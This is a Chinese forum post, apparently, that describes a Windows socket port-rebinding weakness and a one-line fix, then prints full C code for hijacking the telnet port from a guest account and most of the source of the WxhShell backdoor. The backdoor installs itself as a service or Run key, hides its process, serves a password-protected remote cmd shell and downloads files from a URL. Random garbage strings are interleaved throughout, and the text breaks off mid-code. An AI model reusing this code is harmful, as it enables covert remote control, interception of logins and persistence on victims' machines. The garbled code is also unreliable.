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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @zig{b 8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E<tJ8&IGk F?4&qbdD saddr.sin_family = AF_INET; i5czm?x UQJ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3moDu o#V{mm,{Pm bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,BlNj^5f DxG8`}+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y".4."NX :a)` iJnb 这意味着什么?意味着可以进行如下的攻击: W9jxw4) rf
=Wq_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !4T7@V`G N?c!uO|h| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +LaR_n[ (CY#B%* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g 4lk p9~$}!ua 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dU|&- .rG w!52DBOe+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <!PbD p ^ )iC&*0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DP!~WkU~ 2h`Tn{&1/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 --F6n/> {A{sRT=% #include qyR}|<F8* #include J|DY
/v #include _k Utj(re #include t:tIzFNv DWORD WINAPI ClientThread(LPVOID lpParam); \T^ptj(0 int main() vFi+ExBU { fD2)/5j1 WORD wVersionRequested; T!t9`I0Zz DWORD ret; dEPLkv WSADATA wsaData; tIo
b BOOL val; ^8
cq
qu SOCKADDR_IN saddr; ulNMqz\. SOCKADDR_IN scaddr; J,t`ilT int err; Lwkl* SOCKET s; SF[}suL SOCKET sc; :[ll$5E. int caddsize; J{PNB{v HANDLE mt; G@o\D-$ DWORD tid; =8Gpov1!V~ wVersionRequested = MAKEWORD( 2, 2 ); c6MMI]+8 err = WSAStartup( wVersionRequested, &wsaData ); WL}XD
Kx if ( err != 0 ) { B<&g printf("error!WSAStartup failed!\n"); `5 MK(K
: return -1; U,Z7nH3_ } p4z
thdN[ saddr.sin_family = AF_INET; D[3QQT7c &Yd6w}8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,(z"s8N h|OWtf4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `"y:/F"{ saddr.sin_port = htons(23); @$5=4HA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1i;#cIG { X1^Q1?0 printf("error!socket failed!\n"); !PJp() return -1; C{]1+eL } c2fw;)j&X val = TRUE; oe[f2?- //SO_REUSEADDR选项就是可以实现端口重绑定的 :O]US)VSj if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Wn Ng3'6 { q)OCY}QA printf("error!setsockopt failed!\n"); }[SYWJIc return -1;
O<y65#68Z } SL?YU(a //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !>)o&sM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PyM59v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !3 zN [@w, Ceew~n{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $ <Mf#.8% { %g~zEa-g ret=GetLastError(); lec3rv0) printf("error!bind failed!\n"); | *N;R+b return -1; N@V:nCl } LU+}iA) listen(s,2);
Q
6dqFnz while(1) a( SJ5t?-2 { NF'<8{~ caddsize = sizeof(scaddr); P
4+}<5 //接受连接请求 }gKJ~9Jg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2Wr^#PY60 if(sc!=INVALID_SOCKET) $aHHXd}@t2 { 1Hs'YzvY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5.QY{+k if(mt==NULL) I8{
mk h { "pc
t# printf("Thread Creat Failed!\n"); 'CCAuN>J break; [I}xR(a@n } ^m -w@0^z } 'Ej+Jczzpp CloseHandle(mt); 3|bbJ6*.< } bRK\Tua
6 closesocket(s); S%jFH4# WSACleanup(); 5 TLE%#G@+ return 0; Dw<bLSaW& } XzPUll;ZU DWORD WINAPI ClientThread(LPVOID lpParam) $0Un'"`S { R]4
h)" SOCKET ss = (SOCKET)lpParam; ~"r(PCa@ SOCKET sc; >S]"-0tGD= unsigned char buf[4096]; D+{&zo SOCKADDR_IN saddr; ~#7uNH2 long num; \6%`)p DWORD val; |mT1\O2a DWORD ret; o^b5E=?>C //如果是隐藏端口应用的话,可以在此处加一些判断 NYc ;Zwv9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 %]N|?9L"= saddr.sin_family = AF_INET; w|61dB saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m+xub*/ saddr.sin_port = htons(23); r`Dm;@JU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P<=1OWC { :-oMkBS printf("error!socket failed!\n"); XT1P.
w[aA return -1; AYfL}X<Ig } f9vitFkb+ val = 100; Ugme>60`'k if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }4kQu#0o") { D/+l$aBz ret = GetLastError(); y:Aha#< return -1; k\IdKiOj!D } 9*VL | if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /q)
H0b { "G@(Cb*+T ret = GetLastError(); #szIYyk return -1; oj@=Cq':- } A0bR.*3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S84S/y { 0{-?Wy printf("error!socket connect failed!\n"); #X2wy$GTG closesocket(sc); +%Z:k closesocket(ss); Y~@( return -1; m;!X{CV } JA4}Bwn while(1) k}!'@ { yJMo/!DZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GU]kgwSfi //如果是嗅探内容的话,可以再此处进行内容分析和记录 <,Mf[R2N> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L. 8`5<ITw num = recv(ss,buf,4096,0); uw(Ml= if(num>0) Gh352 send(sc,buf,num,0); 3gtKD9RL: else if(num==0) FcyFE~>2 break; "^wIixOH5 num = recv(sc,buf,4096,0); ;7*T6~tv if(num>0) yw{r:fy send(ss,buf,num,0); ~zVe?(W else if(num==0) TSVlZy~Xo break; 1C0'
Gf)3 } XW~a4If closesocket(ss); LMuDda closesocket(sc); ]~!CJ8d return 0 ; 5F#FC89Kk } Pk=0pHH8q -Ua&/Yd/} Z/d {v:) ========================================================== ^
4*#QtO s"p\-Z 下边附上一个代码,,WXhSHELL W)8Pq9Hnv TeFi[1 ========================================================== syCT)}T6z RwhKW?r+ #include "stdafx.h" dVZ~n4 KyBtt47\ #include <stdio.h> 8Wgzca
Q* #include <string.h> tJmy}.t1 #include <windows.h> uvJ&qd8M #include <winsock2.h> dA <_`GFR #include <winsvc.h> JL>DRIR%NV #include <urlmon.h> 00@F?|-j =sF4H_B #pragma comment (lib, "Ws2_32.lib") r_kaS
als #pragma comment (lib, "urlmon.lib") f,ZJFb98 .o]9
HbIk5 #define MAX_USER 100 // 最大客户端连接数 6C\WX(@4 #define BUF_SOCK 200 // sock buffer A(H2Gt
D #define KEY_BUFF 255 // 输入 buffer U>@AE =`UFg>- #define REBOOT 0 // 重启 }aQ*1V cj #define SHUTDOWN 1 // 关机 [Y
j:H HDaeJk #define DEF_PORT 5000 // 监听端口 6C/Pu!Sx? oTrit_@3 #define REG_LEN 16 // 注册表键长度 We vd6)\ #define SVC_LEN 80 // NT服务名长度 &h_Y?5k K t+\<i8 // 从dll定义API }pGjc_:'] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sE
^YOT< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6cD3(// typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^f9@=I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /:"^,i\t ]c
bXI // wxhshell配置信息 g:@4/+TSt struct WSCFG { F>GPi!O int ws_port; // 监听端口 [f}`reRlZ char ws_passstr[REG_LEN]; // 口令 5.D0 1?k int ws_autoins; // 安装标记, 1=yes 0=no Pq@-`sw char ws_regname[REG_LEN]; // 注册表键名 sL;;'S& char ws_svcname[REG_LEN]; // 服务名 <[ u(il char ws_svcdisp[SVC_LEN]; // 服务显示名 GVfRy@7n char ws_svcdesc[SVC_LEN]; // 服务描述信息 ddd2w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1(RRjT9 int ws_downexe; // 下载执行标记, 1=yes 0=no 1.TIUH1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" eu":\ks char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /1$u|Gs
* 7|jy:F,w% }; VLJ]OW8cO fxmY,{{ // default Wxhshell configuration J _q struct WSCFG wscfg={DEF_PORT, p<?lF "xuhuanlingzhe", a*iKpr- : 1, @!}/$[hu1 "Wxhshell", A.h0 H]*Ma "Wxhshell", \v$zU "WxhShell Service", rhZp "Wrsky Windows CmdShell Service", <4~SFTWY "Please Input Your Password: ", N(3Bzd) 1, kDxI7$]E " http://www.wrsky.com/wxhshell.exe", EBiLe;=X "Wxhshell.exe" Z }; O+/{[9s
$&1D l // 消息定义模块 3to!C"~\K- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J^S!GG'gb char *msg_ws_prompt="\n\r? for help\n\r#>"; ,X;$-. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ydj*Jy' char *msg_ws_ext="\n\rExit."; g^7zDU&' char *msg_ws_end="\n\rQuit."; DtJ3`Jd char *msg_ws_boot="\n\rReboot..."; yE(<F2 char *msg_ws_poff="\n\rShutdown..."; f2&6NC; char *msg_ws_down="\n\rSave to "; 5.DmMG[T^= k8@bQ"#b char *msg_ws_err="\n\rErr!"; xxr'g = char *msg_ws_ok="\n\rOK!"; \RRSrPLd- pp(?rE$S char ExeFile[MAX_PATH]; .J8 gW int nUser = 0; 0AF,} &$ HANDLE handles[MAX_USER]; XBB>" int OsIsNt; {47Uu%XT s,kY12<7m SERVICE_STATUS serviceStatus; p=#/H,2 SERVICE_STATUS_HANDLE hServiceStatusHandle; b5I 8jPj4c gm=C0Sp? // 函数声明 wy{sS} int Install(void); :ln?PT
int Uninstall(void); R3.w")6 int DownloadFile(char *sURL, SOCKET wsh); i_QiE2d int Boot(int flag); d$xvM void HideProc(void); _wX(OB int GetOsVer(void); 3<N2ehi? int Wxhshell(SOCKET wsl); {v|ib112; void TalkWithClient(void *cs); )X:Sfk int CmdShell(SOCKET sock); BE],PCpPr int StartFromService(void); 0c1=M|2 int StartWxhshell(LPSTR lpCmdLine); 8~~ k? ,-8Xb+!8I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y?A*$6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y6. Bi ;b. m X // 数据结构和表定义 `T{CB) ?9 SERVICE_TABLE_ENTRY DispatchTable[] = m1X*I { tF 7u- {wscfg.ws_svcname, NTServiceMain}, *5?Qam3 {NULL, NULL} |T/s>OW }; p$= 3$I Cbl>eKw // 自我安装 pGF;,h> int Install(void) }_}
{ bj0<A char svExeFile[MAX_PATH]; Ciz,1IV HKEY key; VS_\bIC strcpy(svExeFile,ExeFile); q?)5yukeF TU6YS< // 如果是win9x系统,修改注册表设为自启动 aY;34SF if(!OsIsNt) { "gzn%k[D9m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vu}U2 0@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !0UfX{. RegCloseKey(key); 1zw,;m n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tFX<"cAvK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #3eI4KJ4+l RegCloseKey(key); E>gLUMG$ return 0; A7&/3C6{H } p!)tA } "Mv^S'?> } Ag*?>I else { ?I:_FT Ey%[t // 如果是NT以上系统,安装为系统服务 .sOZ "=tW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m=v.<+> if (schSCManager!=0) c&aqN\'4" { 4:733Q3oK SC_HANDLE schService = CreateService m=/HUt3(&0 ( p_e x schSCManager, $: 1/`m19 wscfg.ws_svcname, Ov4 [gHy& wscfg.ws_svcdisp, 4>fj@X(3 SERVICE_ALL_ACCESS, g>'6"p; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H 8 66,] SERVICE_AUTO_START, e=IbEm{| SERVICE_ERROR_NORMAL, "LW\osjen svExeFile, 'J!Gip , NULL, yB=R7E7 NULL, 2n2,MB NULL, 'MB+cz+v NULL, N~or.i&a NULL odJE~\\hw ); H!,V7R if (schService!=0) RdL5VAD { !vc5NKv#n CloseServiceHandle(schService); ~k?t CloseServiceHandle(schSCManager); ;05lwP*r] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gbh/` strcat(svExeFile,wscfg.ws_svcname); N1'Yo:_A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xB?!nd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @{Fa=".Ch RegCloseKey(key); l&"bm C:xr return 0; :D>flZi } [nX{sM% } -;RAW1]}Y$ CloseServiceHandle(schSCManager); V:+vB " } d{(Rs.GuP } ;- Vs|X YnDaBpx return 1; MrOtsX } ^L
Xr4 D62'bFB^ // 自我卸载 N"Y%*BkH int Uninstall(void) 3/&
|Z<f { z~v-8aw HKEY key; k<f0moxs' sk0/3X*Q% if(!OsIsNt) { vp d!|/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gu'+kw RegDeleteValue(key,wscfg.ws_regname); 7)Tix7:9S; RegCloseKey(key); #^ .G^d(= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `ZP[-: ` RegDeleteValue(key,wscfg.ws_regname); t*6C?zEAU RegCloseKey(key); f^5sJ0;% return 0; CUjRz5L } 4j i#Q } {4p7r7n' } $U. 2" else { dr(e)eD(R> 8
?:W{GAo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I<xcVY9L if (schSCManager!=0) KK-+vq { 6Q+VW_~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !ueh%V Ky if (schService!=0) ?6I`$ &OA { A^0-%Ygl if(DeleteService(schService)!=0) { gB,Q4acjj CloseServiceHandle(schService); 4xFAFK~lx CloseServiceHandle(schSCManager); @:!% Z` return 0; mt e3k=17 } ,c;#~y CloseServiceHandle(schService); *|0W3uy\Y } Z vyF"4QN CloseServiceHandle(schSCManager); *0'{n*> } WFS6N.Ap } %VXIiu[ ~wGjr7Wt return 1; /\1Q
:B3W } "e29j'u!* OU mZ| // 从指定url下载文件 Tilr%D(Q int DownloadFile(char *sURL, SOCKET wsh) i@<w"yNd_ { v yP_qG HRESULT hr; td#m>S char seps[]= "/"; +yHzp char *token; +,D82V7S char *file; WCp[6g&%O char myURL[MAX_PATH]; PM {L}tEQ char myFILE[MAX_PATH]; :X*uE^bH l?;ReK.r strcpy(myURL,sURL); f9n4/(Cy token=strtok(myURL,seps); )oS~ish while(token!=NULL) 15DlD`QV { {>brue*) file=token; dQ<e}wtg token=strtok(NULL,seps); x}reeqn } Ja@?.gW C|QJQ@bj0
GetCurrentDirectory(MAX_PATH,myFILE); :+ "JPF4X strcat(myFILE, "\\"); A+3=OBpkW0 strcat(myFILE, file); O9{A)b!HB send(wsh,myFILE,strlen(myFILE),0); 1fF\k#BE-% send(wsh,"...",3,0); ;{n*F=%uC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G0ENk|wbbj if(hr==S_OK) !A_KCM:Ym return 0; 2b:I. else mFIIqkUAL return 1; v\kd78, V<REcII. } Z \- _g"su# // 系统电源模块 b|` int Boot(int flag) uQWd`7 { ^^)\|kW? HANDLE hToken; gti=GmL(L TOKEN_PRIVILEGES tkp; $ g#d1u0q ZPY84)A_} if(OsIsNt) { "xD5>(|^+Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r1$x}I#Zv LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B_.>Q8tK; tkp.PrivilegeCount = 1; / pR,l5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'FN3r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r8L'C if(flag==REBOOT) { B#4 J![BX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e}L(tXZ return 0; ;[Hrpl
S }
q0\$wI else { 9Mv4=k^7|4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9893{}\cB return 0; +T7FG_ } 89A04HX } Szlww else { _LZ 442 if(flag==REBOOT) { @{8805Dp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sM%.=~AN return 0; cACnBgLl } sZU
Ao& else { tLx8}@X" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h6(L22Hn return 0; .O.fD } * km- pp } jY\YSQ vYG$>* return 1; Aj=c,]2 } R~BW=Dz,e W{;LI
WsZ // win9x进程隐藏模块 d _koF-7 void HideProc(void) f P1fm { \Ng[lN PFeK;`[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O,KlZf_B if ( hKernel != NULL ) =TXc- J { k8"[)lDc. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kc:2ID& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &oiBMk`* FreeLibrary(hKernel); z[_Gg8e } O<w7PS v#+tu,)V; return; 2VS#=i(B^ } /ec~^S8X rkWW)h(e // 获取操作系统版本 I~Zm**L int GetOsVer(void) .w]S!=h { 3Kum OSVERSIONINFO winfo; q0
8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [x|{VJ(h GetVersionEx(&winfo); &,`P%a&k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Aaix?
|XN return 1; GpM_Qp else J)Td'iT( return 0; )F35WP~ } BLhuYuON ]dIr;x` // 客户端句柄模块 pG:)u
cj int Wxhshell(SOCKET wsl) u@zBE?
g { -^7n+
QX SOCKET wsh; uc;QSVWGy8 struct sockaddr_in client; 9Uh nr]J. DWORD myID; Y~M H ]7{-HuQ8>} while(nUser<MAX_USER) n7Ia8?8-l { RpY#_\^hI int nSize=sizeof(client); _u`W$EG
L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ok~\ if(wsh==INVALID_SOCKET) return 1; zHCz[jlrMq U=bZy,FT$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7e&%R4{b if(handles[nUser]==0) [t`QV2um closesocket(wsh); lq!l{[Xp else DavG=kvd nUser++; th*E"@ } JEes'H}Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z '%Vy 1{V* (=Tp return 0; xTL"%'| } SLc'1{ 07+Qai-] // 关闭 socket <kmn3w,vi void CloseIt(SOCKET wsh) w~g)Dz2G { `4 A%BKYB closesocket(wsh); KmkPq] nUser--; ),)]gw71QW ExitThread(0); %/&?t`%H } &6L{1 r 6STc,%5 // 客户端请求句柄 +d736lLe% void TalkWithClient(void *cs) Sc*O_c3D { Rj=xn(@d IPnbR)[% SOCKET wsh=(SOCKET)cs; OsR4oT char pwd[SVC_LEN]; fW4N+2 char cmd[KEY_BUFF]; f z8eL:i: char chr[1]; cf0Dq~G int i,j; HIi5kv]}| O=St}B\!m while (nUser < MAX_USER) { OPwj*b:-m ( Qw"^lE3 if(wscfg.ws_passstr) { dg1h<]T"9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Eg>) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P-QZ=dm //ZeroMemory(pwd,KEY_BUFF); ]W%<<S i=0; PQ|kE`' while(i<SVC_LEN) { ~V"D|U;i + .~6p/fHX // 设置超时 DO$jX
4 fd_set FdRead; dg4 QA_" struct timeval TimeOut; g%Ap <iT FD_ZERO(&FdRead); (;' ?56 FD_SET(wsh,&FdRead); <gKT 7ONtg TimeOut.tv_sec=8; b^\u
P TimeOut.tv_usec=0; >_]j{}~\k int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vd9><W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /nRi19a%xU eUA6X
,I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]`&ws pwd =chr[0]; t3b%f`D if(chr[0]==0xd || chr[0]==0xa) { N$H0o+9-Y pwd=0; AjK'P<:/ break; g#1_`gK } Jn.WbS i++; g~Zel}h# } ,\f!e#d `Q*L!/K+ // 如果是非法用户,关闭 socket nmVL%66K if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); { CkxUec } 5/Q^p" <ok/2v send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,&!Txyye send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n9Z|69W6> ^e>`ob while(1) { ]v3 9ag_hu tm(.a?p ZeroMemory(cmd,KEY_BUFF); Os@ d&wm Bls\)$ // 自动支持客户端 telnet标准 v*1UNXU\ j=0; >9(lFh0P while(j<KEY_BUFF) { [C)-=.Xx)j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Be+vC=\K cmd[j]=chr[0]; d:6?miMH]t if(chr[0]==0xa || chr[0]==0xd) { C w`v\
9 cmd[j]=0; E3y" break; g&H6~ +\ } `6b!W0$
- j++; }r6SV%]: } bH&Cbme90- Y6/'gg'&5 // 下载文件 S\
~Wpf if(strstr(cmd,"http://")) {
'@9h@,tc send(wsh,msg_ws_down,strlen(msg_ws_down),0); }.O2xZ;}]' if(DownloadFile(cmd,wsh)) b:Dr_| send(wsh,msg_ws_err,strlen(msg_ws_err),0); )W~w72j- else # &o3[.)9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v"Fa_+TVx } GmB7@-[QA% else { 6yKr5t H4 6e$(-ai switch(cmd[0]) { wGE:U` Aq}]{gfQ1 // 帮助 _mKO4Atw case '?': { S,EXc^A7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
Q d]5e break; ;$=`BI) } Jeyy Z= // 安装 /+ vl({vV case 'i': { 7$+n"Cfm if(Install()) 'Uew(o send(wsh,msg_ws_err,strlen(msg_ws_err),0);
(CS"s+y1 else HjV3PFg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -4o6 OkK< break; .OVIQxf } nM1U=Du // 卸载 BDyOX6 case 'r': { E%
Ce/n if(Uninstall()) ~oh=QakW send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@-cG\{ else .xuLvNyQr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $$2\qN - break; Zi[@xG8dm } _=XzQZT!L // 显示 wxhshell 所在路径 h*{{_3, case 'p': { 9`+c<j4/B char svExeFile[MAX_PATH]; UwrinkoeE strcpy(svExeFile,"\n\r"); I|,^a|\ strcat(svExeFile,ExeFile); 2GA6@-u\ send(wsh,svExeFile,strlen(svExeFile),0); V=BF"S;-' break; d>eVR } CeoK@y=o // 重启 "d>{hP case 'b': { r}MXXn,f send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /pZLt)=P if(Boot(REBOOT)) bWo-(
qxq send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2c@R!* else { at${^,& closesocket(wsh); z@^[. ExitThread(0); meT~b } C] qY break; 2f16 /0J@ } 7^#f<m;Ar! // 关机 eyy{z;D8r case 'd': { ~mx me6"v send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7OG=LF*V- if(Boot(SHUTDOWN)) aR ao\Wp| send(wsh,msg_ws_err,strlen(msg_ws_err),0); p#)u2^ else { V|ax(tHv closesocket(wsh); 2cr~/,YY ExitThread(0); ^[Cpu_]D } R_:47.qq break; a33}CVG-e3 } RyKsM. // 获取shell V03U"eI=" case 's': { ttuQ,SD CmdShell(wsh); *g]q~\b/; closesocket(wsh); z;@;jQ7 ExitThread(0); KlDW'R$ break; r4k=i4 } uOc:^ // 退出 `Lb^!6`) case 'x': { DcE)6z# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e)LRD&Q CloseIt(wsh); uA7~`78 break; %+YLe-\? } \RyOexNZ // 离开 FA<|V!a case 'q': { R<@s]xX_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); E8zga ) closesocket(wsh); /UTeaM!?" WSACleanup(); ;3OQgKI exit(1); YwyP+Sr\ break; ~UX@%0%)N } l7]:b8 } %>Z^BM<e } l^w=b~|7= Nl,M9 // 提示信息
i-w^pv' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \:9dt8(-U } 0m7ANqE[Z } 9{@[l!]W m.e+S,i return; ]l7) F-v } G?CaCleG z^$DXl@)h // shell模块句柄 Y b\t0:_ int CmdShell(SOCKET sock) wl1i@&9 { x.CUJ^_. STARTUPINFO si; |1wfLJ4--l ZeroMemory(&si,sizeof(si)); c[J(H,mt/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A}pmr si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zgRZgVj PROCESS_INFORMATION ProcessInfo; \B) a57 char cmdline[]="cmd"; mIgc)" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +>h}Uz return 0; {I0b%>r= } +?Vj}p; q&OF?z7H // 自身启动模式 u+%Ca,6 int StartFromService(void) /~[+' { $mOVo'2 typedef struct 4^cDp!8 { g"aWt%
P DWORD ExitStatus; '8\7(0$c DWORD PebBaseAddress; V/5.37FSb DWORD AffinityMask; CZ"~N` DWORD BasePriority; ?,uTH
4 ULONG UniqueProcessId; _L
